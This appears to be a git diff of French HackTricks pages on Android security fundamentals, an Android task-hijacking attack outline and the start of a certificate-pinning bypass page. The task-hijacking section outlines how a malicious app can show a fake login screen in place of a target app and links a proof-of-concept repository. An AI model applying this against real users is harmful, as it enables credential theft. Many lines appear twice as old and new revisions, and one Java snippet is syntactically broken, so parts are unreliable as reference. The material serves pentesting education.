Lorsque vous installez une **application et qu'elle demande des autorisations**, l'application demande les autorisations configurées dans les éléments **`uses-permission`** dans le fichier **AndroidManifest.xml**. L'élément **uses-permission** indique le nom de l'autorisation demandée dans l'attribut **name**. Il a également l'attribut **maxSdkVersion** qui arrête de demander des autorisations sur des versions supérieures à celle spécifiée.\
|
||||
Notez que les applications Android n'ont pas besoin de demander toutes les autorisations au début, elles peuvent également **demander des autorisations dynamiquement** mais toutes les autorisations doivent être **déclarées** dans le **manifeste**.
|
||||
|
||||
Lorsqu'une application expose des fonctionnalités, elle peut limiter **l'accès uniquement aux applications ayant une autorisation spécifiée**.\
|
||||
Lorsqu'une application expose des fonctionnalités, elle peut limiter l'**accès uniquement aux applications ayant une autorisation spécifiée**.\
|
||||
Un élément d'autorisation a trois attributs :
|
||||
|
||||
- Le **nom** de l'autorisation
|
||||
- L'attribut **permission-group**, qui permet de regrouper les autorisations connexes.
|
||||
- Le **niveau de protection** qui indique comment les autorisations sont accordées. Il existe quatre types :
|
||||
- **Normal** : Utilisé lorsqu'il n'y a **aucune menace connue** pour l'application. L'utilisateur n'est **pas tenu d'approuver**.
|
||||
- **Dangereux** : Indique que l'autorisation accorde à l'application demandeur un **accès élevé**. **Les utilisateurs sont invités à les approuver**.
|
||||
- **Signature** : Seules les **applications signées par le même certificat que celui** exportant le composant peuvent se voir accorder l'autorisation. Il s'agit du type de protection le plus fort.
|
||||
- **SignatureOrSystem** : Seules les **applications signées par le même certificat que celui** exportant le composant ou les **applications s'exécutant avec un accès de niveau système** peuvent se voir accorder des autorisations.
|
||||
* Le **nom** de l'autorisation
|
||||
* L'attribut **permission-group**, qui permet de regrouper les autorisations connexes.
|
||||
* Le **niveau de protection** qui indique comment les autorisations sont accordées. Il existe quatre types :
|
||||
* **Normal** : Utilisé lorsqu'il n'y a **aucune menace connue** pour l'application. L'utilisateur n'est **pas tenu d'approuver**.
|
||||
* **Dangereux** : Indique que l'autorisation accorde à l'application demandant un **accès élevé**. **Les utilisateurs sont invités à les approuver**.
|
||||
* **Signature** : Seules les **applications signées par le même certificat que celui** exportant le composant peuvent se voir accorder l'autorisation. Il s'agit du type de protection le plus fort.
|
||||
* **SignatureOrSystem** : Seules les **applications signées par le même certificat que celui** exportant le composant ou les **applications fonctionnant avec un accès de niveau système** peuvent se voir accorder des autorisations.
|
||||
|
||||
## Applications Pré-Installées
|
||||
|
||||
Ces applications se trouvent généralement dans les répertoires **`/system/app`** ou **`/system/priv-app`** et certaines d'entre elles sont **optimisées** (vous ne trouverez peut-être même pas le fichier `classes.dex`). Ces applications valent la peine d'être vérifiées car parfois elles **fonctionnent avec trop de permissions** (en tant que root).
|
||||
|
||||
- Celles livrées avec le **ROM AOSP** (Android OpenSource Project)
|
||||
- Ajoutées par le **fabricant de l'appareil**
|
||||
- Ajoutées par le **fournisseur de téléphonie mobile** (si acheté chez eux)
|
||||
* Celles livrées avec le **ROM AOSP** (Android OpenSource Project)
|
||||
* Ajoutées par le **fabricant de l'appareil**
|
||||
* Ajoutées par le **fournisseur de téléphonie** (si acheté chez eux)
|
||||
|
||||
## Rootage
|
||||
|
||||
Pour obtenir un accès root sur un appareil Android physique, vous devez généralement **exploiter** 1 ou 2 **vulnérabilités** qui étaient **spécifiques** à l'**appareil** et à la **version**.\
|
||||
Pour obtenir un accès root sur un appareil Android physique, vous devez généralement **exploiter** 1 ou 2 **vulnérabilités** qui sont généralement **spécifiques** au **dispositif** et à la **version**.\
|
||||
Une fois l'exploit réussi, généralement le binaire Linux `su` est copié dans un emplacement spécifié dans la variable d'environnement PATH de l'utilisateur comme `/system/xbin`.
|
||||
|
||||
Une fois le binaire su configuré, une autre application Android est utilisée pour interagir avec le binaire `su` et **traiter les demandes d'accès root** comme **Superuser** et **SuperSU** (disponibles sur Google Play Store).
|
||||
Une fois le binaire su configuré, une autre application Android est utilisée pour interagir avec le binaire `su` et **traiter les demandes d'accès root** comme **Superuser** et **SuperSU** (disponibles dans le Google Play Store).
|
||||
|
||||
{% hint style="danger" %}
|
||||
Notez que le processus de rootage est très dangereux et peut endommager gravement l'appareil
|
||||
|
@ -83,7 +91,7 @@ Une fois qu'un appareil est rooté, toute application pourrait demander un accè
|
|||
|
||||
## Fondamentaux des Applications Android <a href="#2-android-application-fundamentals" id="2-android-application-fundamentals"></a>
|
||||
|
||||
- Le format des applications Android est appelé le _format de fichier APK_. Il s'agit essentiellement d'un **fichier ZIP** (en renommant l'extension de fichier en .zip, le contenu peut être extrait et visualisé).
|
||||
- Le format des applications Android est appelé _format de fichier APK_. Il s'agit essentiellement d'un **fichier ZIP** (en renommant l'extension de fichier en .zip, le contenu peut être extrait et visualisé).
|
||||
- Contenu de l'APK (non exhaustif)
|
||||
- **AndroidManifest.xml**
|
||||
- resources.arsc/strings.xml
|
||||
|
@ -95,10 +103,10 @@ Une fois qu'un appareil est rooté, toute application pourrait demander un accè
|
|||
- Contient le bytecode Dalvik, représentant le code Java (ou Kotlin) compilé que l'application exécute par défaut.
|
||||
- lib/
|
||||
- Contient des bibliothèques natives, séparées par architecture CPU dans des sous-répertoires.
|
||||
- `armeabi` : code pour les processeurs basés sur ARM
|
||||
- `armeabi-v7a` : code pour les processeurs basés sur ARMv7 et supérieurs
|
||||
- `x86` : code pour les processeurs X86
|
||||
- `mips` : code pour les processeurs MIPS uniquement
|
||||
- `armeabi` : code pour les processeurs basés sur ARM
|
||||
- `armeabi-v7a` : code pour les processeurs basés sur ARMv7 et supérieurs
|
||||
- `x86` : code pour les processeurs X86
|
||||
- `mips` : code pour les processeurs MIPS uniquement
|
||||
- assets/
|
||||
- Stocke des fichiers divers nécessaires à l'application, potentiellement y compris des bibliothèques natives supplémentaires ou des fichiers DEX, parfois utilisés par les auteurs de logiciels malveillants pour dissimuler du code supplémentaire.
|
||||
- res/
|
||||
|
@ -122,17 +130,17 @@ Pour simplifier, une Intention peut être utilisée pour :
|
|||
* Accéder aux données via des ContentProviders
|
||||
* Comme rappels pour gérer des événements
|
||||
|
||||
Si elles sont vulnérables, les **Intentions peuvent être utilisées pour effectuer divers types d'attaques**.
|
||||
Si elles sont vulnérables, les **Intentions peuvent être utilisées pour effectuer diverses attaques**.
|
||||
|
||||
### Filtre d'Intentions
|
||||
### Filtre d'Intention
|
||||
|
||||
Les **Filtres d'Intentions** définissent **comment une activité, un service ou un récepteur de diffusion peuvent interagir avec différents types d'Intentions**. Essentiellement, ils décrivent les capacités de ces composants, comme les actions qu'ils peuvent effectuer ou les types de diffusions qu'ils peuvent traiter. Le principal endroit pour déclarer ces filtres est dans le fichier **AndroidManifest.xml**, bien que pour les récepteurs de diffusion, les coder soit également une option.
|
||||
Les **Filtres d'Intention** définissent **comment une activité, un service ou un récepteur de diffusion peuvent interagir avec différents types d'Intentions**. Essentiellement, ils décrivent les capacités de ces composants, comme les actions qu'ils peuvent effectuer ou les types de diffusions qu'ils peuvent traiter. Le principal endroit pour déclarer ces filtres est dans le fichier **AndroidManifest.xml**, bien que pour les récepteurs de diffusion, les coder soit également une option.
|
||||
|
||||
Les Filtres d'Intentions sont composés de catégories, d'actions et de filtres de données, avec la possibilité d'inclure des métadonnées supplémentaires. Cette configuration permet aux composants de gérer des Intentions spécifiques qui correspondent aux critères déclarés.
|
||||
Les Filtres d'Intention sont composés de catégories, d'actions et de filtres de données, avec la possibilité d'inclure des métadonnées supplémentaires. Cette configuration permet aux composants de gérer des Intentions spécifiques qui correspondent aux critères déclarés.
|
||||
|
||||
Un aspect critique des composants Android (activités/services/fournisseurs de contenu/récepteurs de diffusion) est leur visibilité ou leur **statut public**. Un composant est considéré comme public et peut interagir avec d'autres applications s'il est **`exporté`** avec une valeur de **`true`** ou si un Filtre d'Intentions est déclaré pour lui dans le manifeste. Cependant, les développeurs peuvent explicitement garder ces composants privés pour s'assurer qu'ils n'interagissent pas avec d'autres applications de manière involontaire. Cela est réalisé en définissant l'attribut **`exported`** sur **`false`** dans leurs définitions de manifeste.
|
||||
Un aspect critique des composants Android (activités/services/fournisseurs de contenu/récepteurs de diffusion) est leur visibilité ou leur **statut public**. Un composant est considéré comme public et peut interagir avec d'autres applications s'il est **`exporté`** avec une valeur de **`true`** ou si un Filtre d'Intention est déclaré pour lui dans le manifeste. Cependant, les développeurs peuvent explicitement garder ces composants privés pour s'assurer qu'ils n'interagissent pas avec d'autres applications de manière involontaire. Cela est réalisé en définissant l'attribut **`exported`** sur **`false`** dans leurs définitions de manifeste.
|
||||
|
||||
De plus, les développeurs ont la possibilité de sécuriser davantage l'accès à ces composants en exigeant des autorisations spécifiques. L'attribut **`permission`** peut être défini pour obliger uniquement les applications disposant de l'autorisation désignée à accéder au composant, ajoutant ainsi une couche supplémentaire de sécurité et de contrôle sur qui peut interagir avec lui.
|
||||
De plus, les développeurs ont la possibilité de sécuriser davantage l'accès à ces composants en exigeant des autorisations spécifiques. L'attribut **`permission`** peut être défini pour obliger uniquement les applications ayant la permission désignée à accéder au composant, ajoutant ainsi une couche supplémentaire de sécurité et de contrôle sur qui peut interagir avec lui.
|
||||
```java
|
||||
<activity android:name=".MyActivity" android:exported="false">
|
||||
<!-- Intent filters go here -->
|
||||
|
@ -146,7 +154,7 @@ Intent email = new Intent(Intent.ACTION_SEND, Uri.parse("mailto:"));
|
|||
```
|
||||
L'**Action** de l'intent précédemment déclaré est **ACTION\_SEND** et l'**Extra** est un **Uri** mailto (l'Extra est l'information supplémentaire que l'intent attend).
|
||||
|
||||
Cet intent doit être déclaré dans le manifeste comme dans l'exemple suivant:
|
||||
Cet intent doit être déclaré dans le manifeste comme dans l'exemple suivant :
|
||||
```xml
|
||||
<activity android:name="ShareActivity">
|
||||
<intent-filter>
|
||||
|
@ -157,11 +165,11 @@ Cet intent doit être déclaré dans le manifeste comme dans l'exemple suivant:
|
|||
```
|
||||
Un intent-filter doit correspondre à l'**action**, aux **données** et à la **catégorie** pour recevoir un message.
|
||||
|
||||
Le processus de "résolution de l'intent" détermine quelle application doit recevoir chaque message. Ce processus prend en compte l'attribut de **priorité**, qui peut être défini dans la déclaration de l'**intent-filter**, et **celui avec la priorité la plus élevée sera sélectionné**. Cette priorité peut être définie entre -1000 et 1000 et les applications peuvent utiliser la valeur `SYSTEM_HIGH_PRIORITY`. En cas de **conflit**, une fenêtre de "choix" apparaît pour que l'**utilisateur puisse décider**.
|
||||
Le processus de "résolution de l'intent" détermine quelle application doit recevoir chaque message. Ce processus prend en compte l'attribut de **priorité**, qui peut être défini dans la déclaration de l'**intent-filter**, et **celui avec la priorité la plus élevée sera sélectionné**. Cette priorité peut être définie entre -1000 et 1000 et les applications peuvent utiliser la valeur `SYSTEM_HIGH_PRIORITY`. En cas de **conflit**, une fenêtre "choisir" apparaît pour que l'**utilisateur puisse décider**.
|
||||
|
||||
### Intents explicites
|
||||
|
||||
Un intent explicite spécifie le nom de la classe qu'il cible :
|
||||
Un intent explicite spécifie le nom de la classe qu'il cible:
|
||||
```java
|
||||
Intent downloadIntent = new (this, DownloadService.class):
|
||||
```
|
||||
|
@ -179,24 +187,24 @@ Ces intentions permettent à d'autres applications de **prendre des actions au n
|
|||
|
||||
Contrairement aux intentions précédentes, qui ne sont reçues que par une seule application, les intentions de diffusion **peuvent être reçues par plusieurs applications**. Cependant, à partir de la version API 14, il est **possible de spécifier l'application qui doit recevoir** le message en utilisant Intent.setPackage.
|
||||
|
||||
Il est également possible de **spécifier une autorisation lors de l'envoi de la diffusion**. L'application réceptrice devra avoir cette autorisation.
|
||||
Il est également possible de **spécifier une autorisation lors de l'envoi de la diffusion**. L'application réceptrice devra disposer de cette autorisation.
|
||||
|
||||
Il existe **deux types** de diffusions : **Normale** (asynchrone) et **Ordonnée** (synchrone). L'**ordre** est basé sur la **priorité configurée dans l'élément récepteur**. **Chaque application peut traiter, relayer ou abandonner la diffusion**.
|
||||
|
||||
Il est possible d'**envoyer** une **diffusion** en utilisant la fonction `sendBroadcast(intent, receiverPermission)` de la classe `Context`.\
|
||||
Vous pourriez également utiliser la fonction **`sendBroadcast`** du **`LocalBroadCastManager`** pour garantir que le **message ne quitte jamais l'application**. En utilisant cela, vous n'aurez même pas besoin d'exporter un composant récepteur.
|
||||
Vous pourriez également utiliser la fonction **`sendBroadcast`** du **`LocalBroadcastManager`** pour garantir que le **message ne quitte jamais l'application**. En utilisant cela, vous n'aurez même pas besoin d'exporter un composant récepteur.
|
||||
|
||||
### Diffusions persistantes
|
||||
|
||||
Ce type de diffusions **peut être accédé longtemps après leur envoi**.\
|
||||
Ils ont été obsolètes à partir du niveau API 21 et il est recommandé de **ne pas les utiliser**.\
|
||||
Ils ont été obsolètes au niveau de l'API 21 et il est recommandé de **ne pas les utiliser**.\
|
||||
**Ils permettent à n'importe quelle application de renifler les données, mais aussi de les modifier**.
|
||||
|
||||
Si vous trouvez des fonctions contenant le mot "persistant" comme **`sendStickyBroadcast`** ou **`sendStickyBroadcastAsUser`**, **vérifiez l'impact et essayez de les supprimer**.
|
||||
|
||||
## Liens profonds / Schémas d'URL
|
||||
## Liens profonds / schémas d'URL
|
||||
|
||||
Dans les applications Android, les **liens profonds** sont utilisés pour initier une action (Intention) directement via une URL. Cela se fait en déclarant un **schéma d'URL spécifique** dans une activité. Lorsqu'un appareil Android tente d'**accéder à une URL avec ce schéma**, l'activité spécifiée dans l'application est lancée.
|
||||
Dans les applications Android, les **liens profonds** sont utilisés pour initier une action (Intention) directement via une URL. Cela se fait en déclarant un **schéma d'URL spécifique** au sein d'une activité. Lorsqu'un appareil Android tente d'**accéder à une URL avec ce schéma**, l'activité spécifiée dans l'application est lancée.
|
||||
|
||||
Le schéma doit être déclaré dans le fichier **`AndroidManifest.xml`** :
|
||||
```xml
|
||||
|
@ -235,7 +243,7 @@ Le **Langage de Définition d'Interface Android (AIDL)** est conçu pour facilit
|
|||
|
||||
- **Services liés**: Ces services utilisent AIDL pour l'IPC, permettant aux activités ou composants de se lier à un service, de faire des requêtes et de recevoir des réponses. La méthode `onBind` dans la classe du service est essentielle pour initier l'interaction, en en faisant une zone vitale pour l'examen de la sécurité à la recherche de vulnérabilités.
|
||||
|
||||
- **Messager**: Agissant en tant que service lié, Messenger facilite l'IPC en se concentrant sur le traitement des données via la méthode `onBind`. Il est essentiel d'inspecter cette méthode de près pour tout traitement de données non sécurisé ou exécution de fonctions sensibles.
|
||||
- **Messager**: Agissant en tant que service lié, Messenger facilite l'IPC en se concentrant sur le traitement des données via la méthode `onBind`. Il est essentiel d'inspecter cette méthode de près pour tout traitement de données non sécurisé ou l'exécution de fonctions sensibles.
|
||||
|
||||
- **Binder**: Bien que l'utilisation directe de la classe Binder soit moins courante en raison de l'abstraction d'AIDL, il est bénéfique de comprendre que Binder agit comme un pilote au niveau du noyau facilitant le transfert de données entre les espaces mémoire de différents processus. Pour une meilleure compréhension, une ressource est disponible sur [https://www.youtube.com/watch?v=O-UHvFjxwZ8](https://www.youtube.com/watch?v=O-UHvFjxwZ8).
|
||||
|
||||
|
@ -302,17 +310,17 @@ Les **filtres d'intention** sont cruciaux dans les deux méthodes d'enregistreme
|
|||
|
||||
Les diffusions peuvent être soit **asynchrones**, atteignant tous les récepteurs sans ordre, soit **synchrones**, où les récepteurs reçoivent la diffusion en fonction de priorités définies. Cependant, il est important de noter le risque potentiel pour la sécurité, car toute application peut se prioriser pour intercepter une diffusion.
|
||||
|
||||
Pour comprendre la fonctionnalité d'un récepteur, recherchez la méthode **`onReceive`** à l'intérieur de sa classe. Le code de cette méthode peut manipuler l'Intention reçue, soulignant la nécessité d'une validation des données par les récepteurs, en particulier dans les **Diffusions ordonnées**, qui peuvent modifier ou supprimer l'Intention.
|
||||
Pour comprendre la fonctionnalité d'un récepteur, recherchez la méthode **`onReceive`** à l'intérieur de sa classe. Le code de cette méthode peut manipuler l'Intention reçue, soulignant la nécessité de la validation des données par les récepteurs, en particulier dans les **Diffusions ordonnées**, qui peuvent modifier ou supprimer l'Intention.
|
||||
|
||||
### Fournisseur de contenu
|
||||
|
||||
Les **fournisseurs de contenu** sont essentiels pour **partager des données structurées** entre les applications, mettant en avant l'importance de mettre en œuvre des **autorisations** pour garantir la sécurité des données. Ils permettent aux applications d'accéder à des données provenant de différentes sources, y compris des bases de données, des systèmes de fichiers ou le web. Des autorisations spécifiques, telles que **`readPermission`** et **`writePermission`**, sont cruciales pour contrôler l'accès. De plus, un accès temporaire peut être accordé via les paramètres **`grantUriPermission`** dans le manifest de l'application, en exploitant des attributs tels que `path`, `pathPrefix` et `pathPattern` pour un contrôle d'accès détaillé.
|
||||
|
||||
La validation des entrées est primordiale pour prévenir les vulnérabilités, telles que les injections SQL. Les fournisseurs de contenu prennent en charge des opérations de base : `insert()`, `update()`, `delete()` et `query()`, facilitant la manipulation et le partage de données entre les applications.
|
||||
La validation des entrées est primordiale pour prévenir les vulnérabilités, telles que les injections SQL. Les fournisseurs de contenu prennent en charge des opérations de base : `insert()`, `update()`, `delete()`, et `query()`, facilitant la manipulation et le partage de données entre les applications.
|
||||
|
||||
**FileProvider**, un Fournisseur de contenu spécialisé, se concentre sur le partage sécurisé de fichiers. Il est défini dans le manifest de l'application avec des attributs spécifiques pour contrôler l'accès aux dossiers, indiqués par `android:exported` et `android:resource` pointant vers des configurations de dossiers. Il est conseillé de faire preuve de prudence lors du partage de répertoires pour éviter d'exposer involontairement des données sensibles.
|
||||
|
||||
Déclaration de manifeste exemple pour FileProvider:
|
||||
Déclaration d'exemple dans le manifest pour FileProvider:
|
||||
```xml
|
||||
<provider android:name="androidx.core.content.FileProvider"
|
||||
android:authorities="com.example.myapp.fileprovider"
|
||||
|
@ -336,7 +344,7 @@ Pour plus d'informations, consultez :
|
|||
|
||||
Les WebViews sont comme des **mini navigateurs web** à l'intérieur des applications Android, récupérant du contenu soit depuis le web, soit à partir de fichiers locaux. Ils sont confrontés à des risques similaires à ceux des navigateurs classiques, mais il existe des moyens de **réduire ces risques** grâce à des **paramètres spécifiques**.
|
||||
|
||||
Android propose deux principaux types de WebView :
|
||||
Android propose deux principaux types de WebViews :
|
||||
|
||||
- **WebViewClient** est idéal pour le HTML de base mais ne prend pas en charge la fonction d'alerte JavaScript, ce qui affecte la manière dont les attaques XSS peuvent être testées.
|
||||
- **WebChromeClient** se comporte davantage comme l'expérience complète du navigateur Chrome.
|
||||
|
@ -364,7 +372,7 @@ Pour contrôler l'accès aux fichiers :
|
|||
|
||||
### **Gestion des appareils mobiles (MDM)**
|
||||
|
||||
- Les **solutions MDM** fournissent une **surveillance et une sécurité** pour les appareils mobiles via l'**API d'administration des appareils**. Elles nécessitent l'installation d'une application Android pour gérer et sécuriser efficacement les appareils mobiles. Les fonctions clés incluent **l'application de politiques de mot de passe**, **l'obligation de chiffrement du stockage**, et **l'autorisation de l'effacement des données à distance**, garantissant un contrôle et une sécurité complets sur les appareils mobiles.
|
||||
- Les **solutions MDM** fournissent une **surveillance et une sécurité** pour les appareils mobiles via l'**API d'administration des appareils**. Elles nécessitent l'installation d'une application Android pour gérer et sécuriser efficacement les appareils mobiles. Les fonctions clés incluent **l'application de politiques de mot de passe**, **l'obligation de chiffrement du stockage**, et **l'autorisation de l'effacement des données à distance**, assurant un contrôle et une sécurité complets sur les appareils mobiles.
|
||||
```java
|
||||
// Example of enforcing a password policy with MDM
|
||||
DevicePolicyManager dpm = (DevicePolicyManager) getSystemService(Context.DEVICE_POLICY_SERVICE);
|
||||
|
@ -375,11 +383,17 @@ if (dpm.isAdminActive(adminComponent)) {
|
|||
dpm.setPasswordMinimumLength(adminComponent, 8);
|
||||
}
|
||||
```
|
||||
**Groupe de sécurité Try Hard**
|
||||
|
||||
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Apprenez le piratage AWS de zéro à héros avec</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Expert de l'équipe rouge HackTricks AWS)</strong></a><strong>!</strong></summary>
|
||||
<summary><strong>Apprenez le piratage AWS de zéro à héros avec</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
D'autres façons de soutenir HackTricks:
|
||||
Autres façons de soutenir HackTricks:
|
||||
|
||||
* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop)!
|
||||
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
|
|
|
@ -4,26 +4,34 @@
|
|||
|
||||
<summary><strong>Apprenez le piratage AWS de zéro à héros avec</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Expert en équipe rouge AWS de HackTricks)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Autres façons de soutenir HackTricks :
|
||||
Autres façons de soutenir HackTricks:
|
||||
|
||||
* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) !
|
||||
* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop)!
|
||||
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFT**](https://opensea.io/collection/the-peass-family)
|
||||
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez-nous** sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez** nous sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) dépôts GitHub.
|
||||
|
||||
</details>
|
||||
|
||||
**Groupe de sécurité Try Hard**
|
||||
|
||||
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||
|
||||
***
|
||||
|
||||
## Tâche, Pile arrière et Activités au premier plan
|
||||
|
||||
En Android, une **tâche** est essentiellement un ensemble d'activités avec lesquelles les utilisateurs interagissent pour accomplir une tâche spécifique, organisées dans une **pile arrière**. Cette pile ordonne les activités en fonction de leur ouverture, l'activité la plus récente étant affichée en haut comme activité au premier plan. À tout moment, seule cette activité est visible à l'écran, faisant partie de la **tâche au premier plan**.
|
||||
En Android, une **tâche** est essentiellement un ensemble d'activités avec lesquelles les utilisateurs interagissent pour accomplir une tâche spécifique, organisées dans une **pile arrière**. Cette pile classe les activités en fonction de leur ouverture, l'activité la plus récente étant affichée en haut comme activité au premier plan. À tout moment, seule cette activité est visible à l'écran, faisant partie de la **tâche au premier plan**.
|
||||
|
||||
Voici un bref résumé des transitions d'activité :
|
||||
Voici un bref aperçu des transitions d'activité :
|
||||
|
||||
* **Activité 1** démarre comme seule activité au premier plan.
|
||||
* Le lancement de **l'Activité 2** pousse **l'Activité 1** dans la pile arrière, amenant **l'Activité 2** au premier plan.
|
||||
* Le démarrage de **l'Activité 3** déplace **l'Activité 1** et **l'Activité 2** plus loin dans la pile, avec **l'Activité 3** maintenant en premier plan.
|
||||
* La fermeture de **l'Activité 3** ramène **l'Activité 2** au premier plan, mettant en valeur le mécanisme de navigation de tâche simplifié d'Android.
|
||||
* La fermeture de **l'Activité 3** ramène **l'Activité 2** au premier plan, mettant en valeur le mécanisme de navigation des tâches simplifié d'Android.
|
||||
|
||||
![https://developer.android.com/images/fundamentals/diagram\_backstack.png](<../../.gitbook/assets/image (548).png>)
|
||||
|
||||
|
@ -43,7 +51,7 @@ L'attribut `launchMode` dirige la gestion des instances d'activité au sein des
|
|||
2. **Activation initiale** : La victime ouvre d'abord l'application malveillante, préparant l'appareil pour l'attaque.
|
||||
3. **Tentative de lancement de l'application cible** : La victime tente d'ouvrir l'application cible.
|
||||
4. **Exécution de détournement** : En raison de l'affinité de tâche correspondante, l'application malveillante est lancée à la place de l'application cible.
|
||||
5. **Tromperie** : L'application malveillante présente un faux écran de connexion ressemblant à l'application cible, incitant l'utilisateur à saisir des informations sensibles.
|
||||
5. **Tromperie** : L'application malveillante présente un faux écran de connexion ressemblant à l'application cible, trompant l'utilisateur pour qu'il saisisse des informations sensibles.
|
||||
|
||||
Pour une mise en œuvre pratique de cette attaque, consultez le dépôt Task Hijacking Strandhogg sur GitHub : [Task Hijacking Strandhogg](https://github.com/az0mb13/Task\_Hijacking\_Strandhogg).
|
||||
|
||||
|
@ -56,16 +64,22 @@ Pour prévenir de telles attaques, les développeurs peuvent définir `taskAffin
|
|||
* [**https://blog.dixitaditya.com/android-task-hijacking/**](https://blog.dixitaditya.com/android-task-hijacking/)
|
||||
* [**https://blog.takemyhand.xyz/2021/02/android-task-hijacking-with.html**](https://blog.takemyhand.xyz/2021/02/android-task-hijacking-with.html)
|
||||
|
||||
**Groupe de sécurité Try Hard**
|
||||
|
||||
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Apprenez le piratage AWS de zéro à héros avec</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Expert en équipe rouge AWS de HackTricks)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Autres façons de soutenir HackTricks :
|
||||
Autres façons de soutenir HackTricks:
|
||||
|
||||
* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) !
|
||||
* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop)!
|
||||
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFT**](https://opensea.io/collection/the-peass-family)
|
||||
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez-nous** sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez** nous sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) dépôts GitHub.
|
||||
|
||||
</details>
|
||||
|
|
|
@ -1,6 +1,6 @@
|
|||
<details>
|
||||
|
||||
<summary><strong>Apprenez le piratage AWS de zéro à héros avec</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Expert de l'équipe rouge AWS de HackTricks)</strong></a><strong>!</strong></summary>
|
||||
<summary><strong>Apprenez le piratage AWS de zéro à héros avec</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Expert en équipe rouge AWS de HackTricks)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Autres façons de soutenir HackTricks :
|
||||
|
||||
|
@ -8,31 +8,39 @@ Autres façons de soutenir HackTricks :
|
|||
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez-nous** sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) dépôts GitHub.
|
||||
* **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
|
||||
**Groupe de sécurité Try Hard**
|
||||
|
||||
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||
|
||||
***
|
||||
|
||||
Certaines applications n'acceptent pas les certificats téléchargés par l'utilisateur, donc pour inspecter le trafic web de certaines applications, nous devons en fait décompiler l'application, ajouter quelques éléments et la recompiler.
|
||||
|
||||
# Automatique
|
||||
|
||||
